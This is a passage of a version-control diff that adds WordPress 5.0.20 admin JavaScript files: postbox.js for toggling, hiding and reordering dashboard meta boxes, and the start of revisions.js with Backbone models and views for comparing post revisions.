+		$( document ).on( 'tinymce-editor-init', function( event, editor ) {
+			if ( editor.id !== 'content' ) {
+				return;
+			}
+
+			contentEditor = editor;
+
+			editor.on( 'nodechange keyup', _.debounce( update, 1000 ) );
+		} );
+
+		$content.on( 'input keyup', _.debounce( update, 1000 ) );
+
+		update();
+	} );
+
+} )( jQuery, new wp.utils.WordCounter() );
Index: /tags/5.0.20/src/wp-admin/js/postbox.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/postbox.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/postbox.js	(revision 56912)
@@ -0,0 +1,443 @@
+/**
+ * Contains the postboxes logic, opening and closing postboxes, reordering and saving
+ * the state and ordering to the database.
+ *
+ * @summary Contains postboxes logic
+ *
+ * @since 2.5.0
+ * @requires jQuery
+ */
+
+/* global ajaxurl, postBoxL10n */
+
+/**
+ * This object contains all function to handle the behaviour of the post boxes. The post boxes are the boxes you see
+ * around the content on the edit page.
+ *
+ * @since 2.7.0
+ *
+ * @namespace postboxes
+ *
+ * @type {Object}
+ */
+var postboxes;
+
+(function($) {
+	var $document = $( document );
+
+	postboxes = {
+
+		/**
+		 * @summary Handles a click on either the postbox heading or the postbox open/close icon.
+		 *
+		 * Opens or closes the postbox. Expects `this` to equal the clicked element.
+		 * Calls postboxes.pbshow if the postbox has been opened, calls postboxes.pbhide
+		 * if the postbox has been closed.
+		 *
+		 * @since 4.4.0
+		 * @memberof postboxes
+		 * @fires postboxes#postbox-toggled
+		 *
+		 * @returns {void}
+		 */
+		handle_click : function () {
+			var $el = $( this ),
+				p = $el.parent( '.postbox' ),
+				id = p.attr( 'id' ),
+				ariaExpandedValue;
+
+			if ( 'dashboard_browser_nag' === id ) {
+				return;
+			}
+
+			p.toggleClass( 'closed' );
+
+			ariaExpandedValue = ! p.hasClass( 'closed' );
+
+			if ( $el.hasClass( 'handlediv' ) ) {
+				// The handle button was clicked.
+				$el.attr( 'aria-expanded', ariaExpandedValue );
+			} else {
+				// The handle heading was clicked.
+				$el.closest( '.postbox' ).find( 'button.handlediv' )
+					.attr( 'aria-expanded', ariaExpandedValue );
+			}
+
+			if ( postboxes.page !== 'press-this' ) {
+				postboxes.save_state( postboxes.page );
+			}
+
+			if ( id ) {
+				if ( !p.hasClass('closed') && $.isFunction( postboxes.pbshow ) ) {
+					postboxes.pbshow( id );
+				} else if ( p.hasClass('closed') && $.isFunction( postboxes.pbhide ) ) {
+					postboxes.pbhide( id );
+				}
+			}
+
+			/**
+			 * @summary Fires when a postbox has been opened or closed.
+			 *
+			 * Contains a jQuery object with the relevant postbox element.
+			 *
+			 * @since 4.0.0
+			 * @event postboxes#postbox-toggled
+			 * @type {Object}
+			 */
+			$document.trigger( 'postbox-toggled', p );
+		},
+
+		/**
+		 * Adds event handlers to all postboxes and screen option on the current page.
+		 *
+		 * @since 2.7.0
+		 * @memberof postboxes
+		 *
+		 * @param {string} page The page we are currently on.
+		 * @param {Object} [args]
+		 * @param {Function} args.pbshow A callback that is called when a postbox opens.
+		 * @param {Function} args.pbhide A callback that is called when a postbox closes.
+		 * @returns {void}
+		 */
+		add_postbox_toggles : function (page, args) {
+			var $handles = $( '.postbox .hndle, .postbox .handlediv' );
+
+			this.page = page;
+			this.init( page, args );
+
+			$handles.on( 'click.postboxes', this.handle_click );
+
+			/**
+			 * @since 2.7.0
+			 */
+			$('.postbox .hndle a').click( function(e) {
+				e.stopPropagation();
+			});
+
+			/**
+			 * @summary Hides a postbox.
+			 *
+			 * Event handler for the postbox dismiss button. After clicking the button
+			 * the postbox will be hidden.
+			 *
+			 * @since 3.2.0
+			 *
+			 * @returns {void}
+			 */
+			$( '.postbox a.dismiss' ).on( 'click.postboxes', function( e ) {
+				var hide_id = $(this).parents('.postbox').attr('id') + '-hide';
+				e.preventDefault();
+				$( '#' + hide_id ).prop('checked', false).triggerHandler('click');
+			});
+
+			/**
+			 * @summary Hides the postbox element
+			 *
+			 * Event handler for the screen options checkboxes. When a checkbox is
+			 * clicked this function will hide or show the relevant postboxes.
+			 *
+			 * @since 2.7.0
+			 * @fires postboxes#postbox-toggled
+			 *
+			 * @returns {void}
+			 */
+			$('.hide-postbox-tog').bind('click.postboxes', function() {
+				var $el = $(this),
+					boxId = $el.val(),
+					$postbox = $( '#' + boxId );
+
+				if ( $el.prop( 'checked' ) ) {
+					$postbox.show();
+					if ( $.isFunction( postboxes.pbshow ) ) {
+						postboxes.pbshow( boxId );
+					}
+				} else {
+					$postbox.hide();
+					if ( $.isFunction( postboxes.pbhide ) ) {
+						postboxes.pbhide( boxId );
+					}
+				}
+
+				postboxes.save_state( page );
+				postboxes._mark_area();
+
+				/**
+				 * @since 4.0.0
+				 * @see postboxes.handle_click
+				 */
+				$document.trigger( 'postbox-toggled', $postbox );
+			});
+
+			/**
+			 * @summary Changes the amount of columns based on the layout preferences.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @returns {void}
+			 */
+			$('.columns-prefs input[type="radio"]').bind('click.postboxes', function(){
+				var n = parseInt($(this).val(), 10);
+
+				if ( n ) {
+					postboxes._pb_edit(n);
+					postboxes.save_order( page );
+				}
+			});
+		},
+
+		/**
+		 * @summary Initializes all the postboxes, mainly their sortable behaviour.
+		 *
+		 * @since 2.7.0
+		 * @memberof postboxes
+		 *
+		 * @param {string} page The page we are currently on.
+		 * @param {Object} [args={}] The arguments for the postbox initializer.
+		 * @param {Function} args.pbshow A callback that is called when a postbox opens.
+		 * @param {Function} args.pbhide A callback that is called when a postbox
+		 *                               closes.
+		 *
+		 * @returns {void}
+		 */
+		init : function(page, args) {
+			var isMobile = $( document.body ).hasClass( 'mobile' ),
+				$handleButtons = $( '.postbox .handlediv' );
+
+			$.extend( this, args || {} );
+			$('#wpbody-content').css('overflow','hidden');
+			$('.meta-box-sortables').sortable({
+				placeholder: 'sortable-placeholder',
+				connectWith: '.meta-box-sortables',
+				items: '.postbox',
+				handle: '.hndle',
+				cursor: 'move',
+				delay: ( isMobile ? 200 : 0 ),
+				distance: 2,
+				tolerance: 'pointer',
+				forcePlaceholderSize: true,
+				helper: function( event, element ) {
+					/* `helper: 'clone'` is equivalent to `return element.clone();`
+					 * Cloning a checked radio and then inserting that clone next to the original
+					 * radio unchecks the original radio (since only one of the two can be checked).
+					 * We get around this by renaming the helper's inputs' name attributes so that,
+					 * when the helper is inserted into the DOM for the sortable, no radios are
+					 * duplicated, and no original radio gets unchecked.
+					 */
+					return element.clone()
+						.find( ':input' )
+							.attr( 'name', function( i, currentName ) {
+								return 'sort_' + parseInt( Math.random() * 100000, 10 ).toString() + '_' + currentName;
+							} )
+						.end();
+				},
+				opacity: 0.65,
+				stop: function() {
+					var $el = $( this );
+
+					if ( $el.find( '#dashboard_browser_nag' ).is( ':visible' ) && 'dashboard_browser_nag' != this.firstChild.id ) {
+						$el.sortable('cancel');
+						return;
+					}
+
+					postboxes.save_order(page);
+				},
+				receive: function(e,ui) {
+					if ( 'dashboard_browser_nag' == ui.item[0].id )
+						$(ui.sender).sortable('cancel');
+
+					postboxes._mark_area();
+					$document.trigger( 'postbox-moved', ui.item );
+				}
+			});
+
+			if ( isMobile ) {
+				$(document.body).bind('orientationchange.postboxes', function(){ postboxes._pb_change(); });
+				this._pb_change();
+			}
+
+			this._mark_area();
+
+			// Set the handle buttons `aria-expanded` attribute initial value on page load.
+			$handleButtons.each( function () {
+				var $el = $( this );
+				$el.attr( 'aria-expanded', ! $el.parent( '.postbox' ).hasClass( 'closed' ) );
+			});
+		},
+
+		/**
+		 * @summary Saves the state of the postboxes to the server.
+		 *
+		 * Saves the state of the postboxes to the server. It sends two lists, one with
+		 * all the closed postboxes, one with all the hidden postboxes.
+		 *
+		 * @since 2.7.0
+		 * @memberof postboxes
+		 *
+		 * @param {string} page The page we are currently on.
+		 * @returns {void}
+		 */
+		save_state : function(page) {
+			var closed, hidden;
+
+			// Return on the nav-menus.php screen, see #35112.
+			if ( 'nav-menus' === page ) {
+				return;
+			}
+
+			closed = $( '.postbox' ).filter( '.closed' ).map( function() { return this.id; } ).get().join( ',' );
+			hidden = $( '.postbox' ).filter( ':hidden' ).map( function() { return this.id; } ).get().join( ',' );
+
+			$.post(ajaxurl, {
+				action: 'closed-postboxes',
+				closed: closed,
+				hidden: hidden,
+				closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
+				page: page
+			});
+		},
+
+		/**
+		 * @summary Saves the order of the postboxes to the server.
+		 *
+		 * Saves the order of the postboxes to the server. Sends a list of all postboxes
+		 * inside a sortable area to the server.
+		 *
+		 * @since 2.8.0
+		 * @memberof postboxes
+		 *
+		 * @param {string} page The page we are currently on.
+		 * @returns {void}
+		 */
+		save_order : function(page) {
+			var postVars, page_columns = $('.columns-prefs input:checked').val() || 0;
+
+			postVars = {
+				action: 'meta-box-order',
+				_ajax_nonce: $('#meta-box-order-nonce').val(),
+				page_columns: page_columns,
+				page: page
+			};
+
+			$('.meta-box-sortables').each( function() {
+				postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' );
+			} );
+
+			$.post( ajaxurl, postVars );
+		},
+
+		/**
+		 * @summary Marks empty postbox areas.
+		 *
+		 * Adds a message to empty sortable areas on the dashboard page. Also adds a
+		 * border around the side area on the post edit screen if there are no postboxes
+		 * present.
+		 *
+		 * @since 3.3.0
+		 * @memberof postboxes
+		 * @access private
+		 *
+		 * @returns {void}
+		 */
+		_mark_area : function() {
+			var visible = $('div.postbox:visible').length, side = $('#post-body #side-sortables');
+
+			$( '#dashboard-widgets .meta-box-sortables:visible' ).each( function() {
+				var t = $(this);
+
+				if ( visible == 1 || t.children('.postbox:visible').length ) {
+					t.removeClass('empty-container');
+				}
+				else {
+					t.addClass('empty-container');
+					t.attr('data-emptyString', postBoxL10n.postBoxEmptyString);
+				}
+			});
+
+			if ( side.length ) {
+				if ( side.children('.postbox:visible').length )
+					side.removeClass('empty-container');
+				else if ( $('#postbox-container-1').css('width') == '280px' )
+					side.addClass('empty-container');
+			}
+		},
+
+		/**
+		 * @summary Changes the amount of columns on the post edit page.
+		 *
+		 * @since 3.3.0
+		 * @memberof postboxes
+		 * @fires postboxes#postboxes-columnchange
+		 * @access private
+		 *
+		 * @param {number} n The amount of columns to divide the post edit page in.
+		 * @returns {void}
+		 */
+		_pb_edit : function(n) {
+			var el = $('.metabox-holder').get(0);
+
+			if ( el ) {
+				el.className = el.className.replace(/columns-\d+/, 'columns-' + n);
+			}
+
+			/**
+			 * Fires when the amount of columns on the post edit page has been changed.
+			 *
+			 * @since 4.0.0
+			 * @event postboxes#postboxes-columnchange
+			 */
+			$( document ).trigger( 'postboxes-columnchange' );
+		},
+
+		/**
+		 * @summary Changes the amount of columns the postboxes are in based on the
+		 *          current orientation of the browser.
+		 *
+		 * @since 3.3.0
+		 * @memberof postboxes
+		 * @access private
+		 *
+		 * @returns {void}
+		 */
+		_pb_change : function() {
+			var check = $( 'label.columns-prefs-1 input[type="radio"]' );
+
+			switch ( window.orientation ) {
+				case 90:
+				case -90:
+					if ( !check.length || !check.is(':checked') )
+						this._pb_edit(2);
+					break;
+				case 0:
+				case 180:
+					if ( $('#poststuff').length ) {
+						this._pb_edit(1);
+					} else {
+						if ( !check.length || !check.is(':checked') )
+							this._pb_edit(2);
+					}
+					break;
+			}
+		},
+
+		/* Callbacks */
+
+		/**
+		 * @since 2.7.0
+		 * @memberof postboxes
+		 * @access public
+		 * @property {Function|boolean} pbshow A callback that is called when a postbox
+		 *                                     is opened.
+		 */
+		pbshow : false,
+
+		/**
+		 * @since 2.7.0
+		 * @memberof postboxes
+		 * @access public
+		 * @property {Function|boolean} pbhide A callback that is called when a postbox
+		 *                                     is closed.
+		 */
+		pbhide : false
+	};
+
+}(jQuery));
Index: /tags/5.0.20/src/wp-admin/js/revisions.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/revisions.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/revisions.js	(revision 56912)
@@ -0,0 +1,1169 @@
+/* global isRtl */
+/**
+ * @file Revisions interface functions, Backbone classes and
+ * the revisions.php document.ready bootstrap.
+ *
+ */
+
+window.wp = window.wp || {};
+
+(function($) {
+	var revisions;
+	/**
+	 * Expose the module in window.wp.revisions.
+	 */
+	revisions = wp.revisions = { model: {}, view: {}, controller: {} };
+
+	// Link post revisions data served from the back end.
+	revisions.settings = window._wpRevisionsSettings || {};
+
+	// For debugging
+	revisions.debug = false;
+
+	/**
+	 * wp.revisions.log
+	 *
+	 * A debugging utility for revisions. Works only when a
+	 * debug flag is on and the browser supports it.
+	 */
+	revisions.log = function() {
+		if ( window.console && revisions.debug ) {
+			window.console.log.apply( window.console, arguments );
+		}
+	};
+
+	// Handy functions to help with positioning
+	$.fn.allOffsets = function() {
+		var offset = this.offset() || {top: 0, left: 0}, win = $(window);
+		return _.extend( offset, {
+			right:  win.width()  - offset.left - this.outerWidth(),
+			bottom: win.height() - offset.top  - this.outerHeight()
+		});
+	};
+
+	$.fn.allPositions = function() {
+		var position = this.position() || {top: 0, left: 0}, parent = this.parent();
+		return _.extend( position, {
+			right:  parent.outerWidth()  - position.left - this.outerWidth(),
+			bottom: parent.outerHeight() - position.top  - this.outerHeight()
+		});
+	};
+
+	/**
+	 * ========================================================================
+	 * MODELS
+	 * ========================================================================
+	 */
+	revisions.model.Slider = Backbone.Model.extend({
+		defaults: {
+			value: null,
+			values: null,
+			min: 0,
+			max: 1,
+			step: 1,
+			range: false,
+			compareTwoMode: false
+		},
+
+		initialize: function( options ) {
+			this.frame = options.frame;
+			this.revisions = options.revisions;
+
+			// Listen for changes to the revisions or mode from outside
+			this.listenTo( this.frame, 'update:revisions', this.receiveRevisions );
+			this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode );
+
+			// Listen for internal changes
+			this.on( 'change:from', this.handleLocalChanges );
+			this.on( 'change:to', this.handleLocalChanges );
+			this.on( 'change:compareTwoMode', this.updateSliderSettings );
+			this.on( 'update:revisions', this.updateSliderSettings );
+
+			// Listen for changes to the hovered revision
+			this.on( 'change:hoveredRevision', this.hoverRevision );
+
+			this.set({
+				max:   this.revisions.length - 1,
+				compareTwoMode: this.frame.get('compareTwoMode'),
+				from: this.frame.get('from'),
+				to: this.frame.get('to')
+			});
+			this.updateSliderSettings();
+		},
+
+		getSliderValue: function( a, b ) {
+			return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) );
+		},
+
+		updateSliderSettings: function() {
+			if ( this.get('compareTwoMode') ) {
+				this.set({
+					values: [
+						this.getSliderValue( 'to', 'from' ),
+						this.getSliderValue( 'from', 'to' )
+					],
+					value: null,
+					range: true // ensures handles cannot cross
+				});
+			} else {
+				this.set({
+					value: this.getSliderValue( 'to', 'to' ),
+					values: null,
+					range: false
+				});
+			}
+			this.trigger( 'update:slider' );
+		},
+
+		// Called when a revision is hovered
+		hoverRevision: function( model, value ) {
+			this.trigger( 'hovered:revision', value );
+		},
+
+		// Called when `compareTwoMode` changes
+		updateMode: function( model, value ) {
+			this.set({ compareTwoMode: value });
+		},
+
+		// Called when `from` or `to` changes in the local model
+		handleLocalChanges: function() {
+			this.frame.set({
+				from: this.get('from'),
+				to: this.get('to')
+			});
+		},
+
+		// Receives revisions changes from outside the model
+		receiveRevisions: function( from, to ) {
+			// Bail if nothing changed
+			if ( this.get('from') === from && this.get('to') === to ) {
+				return;
+			}
+
+			this.set({ from: from, to: to }, { silent: true });
+			this.trigger( 'update:revisions', from, to );
+		}
+
+	});
+
+	revisions.model.Tooltip = Backbone.Model.extend({
+		defaults: {
+			revision: null,
+			offset: {},
+			hovering: false, // Whether the mouse is hovering
+			scrubbing: false // Whether the mouse is scrubbing
+		},
+
+		initialize: function( options ) {
+			this.frame = options.frame;
+			this.revisions = options.revisions;
+			this.slider = options.slider;
+
+			this.listenTo( this.slider, 'hovered:revision', this.updateRevision );
+			this.listenTo( this.slider, 'change:hovering', this.setHovering );
+			this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing );
+		},
+
+
+		updateRevision: function( revision ) {
+			this.set({ revision: revision });
+		},
+
+		setHovering: function( model, value ) {
+			this.set({ hovering: value });
+		},
+
+		setScrubbing: function( model, value ) {
+			this.set({ scrubbing: value });
+		}
+	});
+
+	revisions.model.Revision = Backbone.Model.extend({});
+
+	/**
+	 * wp.revisions.model.Revisions
+	 *
+	 * A collection of post revisions.
+	 */
+	revisions.model.Revisions = Backbone.Collection.extend({
+		model: revisions.model.Revision,
+
+		initialize: function() {
+			_.bindAll( this, 'next', 'prev' );
+		},
+
+		next: function( revision ) {
+			var index = this.indexOf( revision );
+
+			if ( index !== -1 && index !== this.length - 1 ) {
+				return this.at( index + 1 );
+			}
+		},
+
+		prev: function( revision ) {
+			var index = this.indexOf( revision );
+
+			if ( index !== -1 && index !== 0 ) {
+				return this.at( index - 1 );
+			}
+		}
+	});
+
+	revisions.model.Field = Backbone.Model.extend({});
+
+	revisions.model.Fields = Backbone.Collection.extend({
+		model: revisions.model.Field
+	});
+
+	revisions.model.Diff = Backbone.Model.extend({
+		initialize: function() {
+			var fields = this.get('fields');
+			this.unset('fields');
+
+			this.fields = new revisions.model.Fields( fields );
+		}
+	});
+
+	revisions.model.Diffs = Backbone.Collection.extend({
+		initialize: function( models, options ) {
+			_.bindAll( this, 'getClosestUnloaded' );
+			this.loadAll = _.once( this._loadAll );
+			this.revisions = options.revisions;
+			this.postId = options.postId;
+			this.requests  = {};
+		},
+
+		model: revisions.model.Diff,
+
+		ensure: function( id, context ) {
+			var diff     = this.get( id ),
+				request  = this.requests[ id ],
+				deferred = $.Deferred(),
+				ids      = {},
+				from     = id.split(':')[0],
+				to       = id.split(':')[1];
+			ids[id] = true;
+
+			wp.revisions.log( 'ensure', id );
+
+			this.trigger( 'ensure', ids, from, to, deferred.promise() );
+
+			if ( diff ) {
+				deferred.resolveWith( context, [ diff ] );
+			} else {
+				this.trigger( 'ensure:load', ids, from, to, deferred.promise() );
+				_.each( ids, _.bind( function( id ) {
+					// Remove anything that has an ongoing request
+					if ( this.requests[ id ] ) {
+						delete ids[ id ];
+					}
+					// Remove anything we already have
+					if ( this.get( id ) ) {
+						delete ids[ id ];
+					}
+				}, this ) );
+				if ( ! request ) {
+					// Always include the ID that started this ensure
+					ids[ id ] = true;
+					request   = this.load( _.keys( ids ) );
+				}
+
+				request.done( _.bind( function() {
+					deferred.resolveWith( context, [ this.get( id ) ] );
+				}, this ) ).fail( _.bind( function() {
+					deferred.reject();
+				}) );
+			}
+
+			return deferred.promise();
+		},
+
+		// Returns an array of proximal diffs
+		getClosestUnloaded: function( ids, centerId ) {
+			var self = this;
+			return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) {
+				return Math.abs( centerId - pair[1] );
+			}).map( function( pair ) {
+				return pair.join(':');
+			}).filter( function( diffId ) {
+				return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ];
+			}).value();
+		},
+
+		_loadAll: function( allRevisionIds, centerId, num ) {
+			var self = this, deferred = $.Deferred(),
+				diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num );
+			if ( _.size( diffs ) > 0 ) {
+				this.load( diffs ).done( function() {
+					self._loadAll( allRevisionIds, centerId, num ).done( function() {
+						deferred.resolve();
+					});
+				}).fail( function() {
+					if ( 1 === num ) { // Already tried 1. This just isn't working. Give up.
+						deferred.reject();
+					} else { // Request fewer diffs this time
+						self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() {
+							deferred.resolve();
+						});
+					}
+				});
+			} else {
+				deferred.resolve();
+			}
+			return deferred;
+		},
+
+		load: function( comparisons ) {
+			wp.revisions.log( 'load', comparisons );
+			// Our collection should only ever grow, never shrink, so remove: false
+			return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() {
+				wp.revisions.log( 'load:complete', comparisons );
+			});
+		},
+
+		sync: function( method, model, options ) {
+			if ( 'read' === method ) {
+				options = options || {};
+				options.context = this;
+				options.data = _.extend( options.data || {}, {
+					action: 'get-revision-diffs',
+					post_id: this.postId
+				});
+
+				var deferred = wp.ajax.send( options ),
+					requests = this.requests;
+
+				// Record that we're requesting each diff.
+				if ( options.data.compare ) {
+					_.each( options.data.compare, function( id ) {
+						requests[ id ] = deferred;
+					});
+				}
+
+				// When the request completes, clear the stored request.
+				deferred.always( function() {
+					if ( options.data.compare ) {
+						_.each( options.data.compare, function( id ) {
+							delete requests[ id ];
+						});
+					}
+				});
+
+				return deferred;
+
+			// Otherwise, fall back to `Backbone.sync()`.
+			} else {
+				return Backbone.Model.prototype.sync.apply( this, arguments );
+			}
+		}
+	});
+
+
+	/**
+	 * wp.revisions.model.FrameState
+	 *
+	 * The frame state.
+	 *
+	 * @see wp.revisions.view.Frame
+	 *
+	 * @param {object}                    attributes        Model attributes - none are required.
+	 * @param {object}                    options           Options for the model.
+	 * @param {revisions.model.Revisions} options.revisions A collection of revisions.
+	 */
+	revisions.model.FrameState = Backbone.Model.extend({
+		defaults: {
+			loading: false,
+			error: false,
+			compareTwoMode: false
+		},
+
+		initialize: function( attributes, options ) {
+			var state = this.get( 'initialDiffState' );
+			_.bindAll( this, 'receiveDiff' );
+			this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 );
+
+			this.revisions = options.revisions;
+
+			this.diffs = new revisions.model.Diffs( [], {
+				revisions: this.revisions,
+				postId: this.get( 'postId' )
+			} );
+
+			// Set the initial diffs collection.
+			this.diffs.set( this.get( 'diffData' ) );
+
+			// Set up internal listeners
+			this.listenTo( this, 'change:from', this.changeRevisionHandler );
+			this.listenTo( this, 'change:to', this.changeRevisionHandler );
+			this.listenTo( this, 'change:compareTwoMode', this.changeMode );
+			this.listenTo( this, 'update:revisions', this.updatedRevisions );
+			this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus );
+			this.listenTo( this, 'update:diff', this.updateLoadingStatus );
+
+			// Set the initial revisions, baseUrl, and mode as provided through attributes.
+
+			this.set( {
+				to : this.revisions.get( state.to ),
+				from : this.revisions.get( state.from ),
+				compareTwoMode : state.compareTwoMode
+			} );
+
+			// Start the router if browser supports History API
+			if ( window.history && window.history.pushState ) {
+				this.router = new revisions.Router({ model: this });
+				if ( Backbone.History.started ) {
+					Backbone.history.stop();
+				}
+				Backbone.history.start({ pushState: true });
+			}
+		},
+
+		updateLoadingStatus: function() {
+			this.set( 'error', false );
+			this.set( 'loading', ! this.diff() );
+		},
+
+		changeMode: function( model, value ) {
+			var toIndex = this.revisions.indexOf( this.get( 'to' ) );
+
+			// If we were on the first revision before switching to two-handled mode,
+			// bump the 'to' position over one
+			if ( value && 0 === toIndex ) {
+				this.set({
+					from: this.revisions.at( toIndex ),
+					to:   this.revisions.at( toIndex + 1 )
+				});
+			}
+
+			// When switching back to single-handled mode, reset 'from' model to
+			// one position before the 'to' model
+			if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode
+				this.set({
+					from: this.revisions.at( toIndex - 1 ),
+					to:   this.revisions.at( toIndex )
+				});
+			}
+		},
+
+		updatedRevisions: function( from, to ) {
+			if ( this.get( 'compareTwoMode' ) ) {
+				// TODO: compare-two loading strategy
+			} else {
+				this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 );
+			}
+		},
+
+		// Fetch the currently loaded diff.
+		diff: function() {
+			return this.diffs.get( this._diffId );
+		},
+
+		// So long as `from` and `to` are changed at the same time, the diff
+		// will only be updated once. This is because Backbone updates all of
+		// the changed attributes in `set`, and then fires the `change` events.
+		updateDiff: function( options ) {
+			var from, to, diffId, diff;
+
+			options = options || {};
+			from = this.get('from');
+			to = this.get('to');
+			diffId = ( from ? from.id : 0 ) + ':' + to.id;
+
+			// Check if we're actually changing the diff id.
+			if ( this._diffId === diffId ) {
+				return $.Deferred().reject().promise();
+			}
+
+			this._diffId = diffId;
+			this.trigger( 'update:revisions', from, to );
+
+			diff = this.diffs.get( diffId );
+
+			// If we already have the diff, then immediately trigger the update.
+			if ( diff ) {
+				this.receiveDiff( diff );
+				return $.Deferred().resolve().promise();
+			// Otherwise, fetch the diff.
+			} else {
+				if ( options.immediate ) {
+					return this._ensureDiff();
+				} else {
+					this._debouncedEnsureDiff();
+					return $.Deferred().reject().promise();
+				}
+			}
+		},
+
+		// A simple wrapper around `updateDiff` to prevent the change event's
+		// parameters from being passed through.
+		changeRevisionHandler: function() {
+			this.updateDiff();
+		},
+
+		receiveDiff: function( diff ) {
+			// Did we actually get a diff?
+			if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) {
+				this.set({
+					loading: false,
+					error: true
+				});
+			} else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change
+				this.trigger( 'update:diff', diff );
+			}
+		},
+
+		_ensureDiff: function() {
+			return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff );
+		}
+	});
+
+
+	/**
+	 * ========================================================================
+	 * VIEWS
+	 * ========================================================================
+	 */
+
+	/**
+	 * wp.revisions.view.Frame
+	 *
+	 * Top level frame that orchestrates the revisions experience.
+	 *
+	 * @param {object}                     options       The options hash for the view.
+	 * @param {revisions.model.FrameState} options.model The frame state model.
+	 */
+	revisions.view.Frame = wp.Backbone.View.extend({
+		className: 'revisions',
+		template: wp.template('revisions-frame'),
+
+		initialize: function() {
+			this.listenTo( this.model, 'update:diff', this.renderDiff );
+			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
+			this.listenTo( this.model, 'change:loading', this.updateLoadingStatus );
+			this.listenTo( this.model, 'change:error', this.updateErrorStatus );
+
+			this.views.set( '.revisions-control-frame', new revisions.view.Controls({
+				model: this.model
+			}) );
+		},
+
+		render: function() {
+			wp.Backbone.View.prototype.render.apply( this, arguments );
+
+			$('html').css( 'overflow-y', 'scroll' );
+			$('#wpbody-content .wrap').append( this.el );
+			this.updateCompareTwoMode();
+			this.renderDiff( this.model.diff() );
+			this.views.ready();
+
+			return this;
+		},
+
+		renderDiff: function( diff ) {
+			this.views.set( '.revisions-diff-frame', new revisions.view.Diff({
+				model: diff
+			}) );
+		},
+
+		updateLoadingStatus: function() {
+			this.$el.toggleClass( 'loading', this.model.get('loading') );
+		},
+
+		updateErrorStatus: function() {
+			this.$el.toggleClass( 'diff-error', this.model.get('error') );
+		},
+
+		updateCompareTwoMode: function() {
+			this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') );
+		}
+	});
+
+	/**
+	 * wp.revisions.view.Controls
+	 *
+	 * The controls view.
+	 *
+	 * Contains the revision slider, previous/next buttons, the meta info and the compare checkbox.
+	 */
+	revisions.view.Controls = wp.Backbone.View.extend({
+		className: 'revisions-controls',
+
+		initialize: function() {
+			_.bindAll( this, 'setWidth' );
+
+			// Add the button view
+			this.views.add( new revisions.view.Buttons({
+				model: this.model
+			}) );
+
+			// Add the checkbox view
+			this.views.add( new revisions.view.Checkbox({
+				model: this.model
+			}) );
+
+			// Prep the slider model
+			var slider = new revisions.model.Slider({
+				frame: this.model,
+				revisions: this.model.revisions
+			}),
+
+			// Prep the tooltip model
+			tooltip = new revisions.model.Tooltip({
+				frame: this.model,
+				revisions: this.model.revisions,
+				slider: slider
+			});
+
+			// Add the tooltip view
+			this.views.add( new revisions.view.Tooltip({
+				model: tooltip
+			}) );
+
+			// Add the tickmarks view
+			this.views.add( new revisions.view.Tickmarks({
+				model: tooltip
+			}) );
+
+			// Add the slider view
+			this.views.add( new revisions.view.Slider({
+				model: slider
+			}) );
+
+			// Add the Metabox view
+			this.views.add( new revisions.view.Metabox({
+				model: this.model
+			}) );
+		},
+
+		ready: function() {
+			this.top = this.$el.offset().top;
+			this.window = $(window);
+			this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) {
+				var controls  = e.data.controls,
+					container = controls.$el.parent(),
+					scrolled  = controls.window.scrollTop(),
+					frame     = controls.views.parent;
+
+				if ( scrolled >= controls.top ) {
+					if ( ! frame.$el.hasClass('pinned') ) {
+						controls.setWidth();
+						container.css('height', container.height() + 'px' );
+						controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) {
+							e.data.controls.setWidth();
+						});
+					}
+					frame.$el.addClass('pinned');
+				} else if ( frame.$el.hasClass('pinned') ) {
+					controls.window.off('.wp.revisions.pinning');
+					controls.$el.css('width', 'auto');
+					frame.$el.removeClass('pinned');
+					container.css('height', 'auto');
+					controls.top = controls.$el.offset().top;
+				} else {
+					controls.top = controls.$el.offset().top;
+				}
+			});
+		},
+
+		setWidth: function() {
+			this.$el.css('width', this.$el.parent().width() + 'px');
+		}
+	});
+
+	// The tickmarks view
+	revisions.view.Tickmarks = wp.Backbone.View.extend({
+		className: 'revisions-tickmarks',
+		direction: isRtl ? 'right' : 'left',
+
+		initialize: function() {
+			this.listenTo( this.model, 'change:revision', this.reportTickPosition );
+		},
+
+		reportTickPosition: function( model, revision ) {
+			var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision );
+			thisOffset = this.$el.allOffsets();
+			parentOffset = this.$el.parent().allOffsets();
+			if ( index === this.model.revisions.length - 1 ) {
+				// Last one
+				offset = {
+					rightPlusWidth: thisOffset.left - parentOffset.left + 1,
+					leftPlusWidth: thisOffset.right - parentOffset.right + 1
+				};
+			} else {
+				// Normal tick
+				tick = this.$('div:nth-of-type(' + (index + 1) + ')');
+				offset = tick.allPositions();
+				_.extend( offset, {
+					left: offset.left + thisOffset.left - parentOffset.left,
+					right: offset.right + thisOffset.right - parentOffset.right
+				});
+				_.extend( offset, {
+					leftPlusWidth: offset.left + tick.outerWidth(),
+					rightPlusWidth: offset.right + tick.outerWidth()
+				});
+			}
+			this.model.set({ offset: offset });
+		},
+
+		ready: function() {
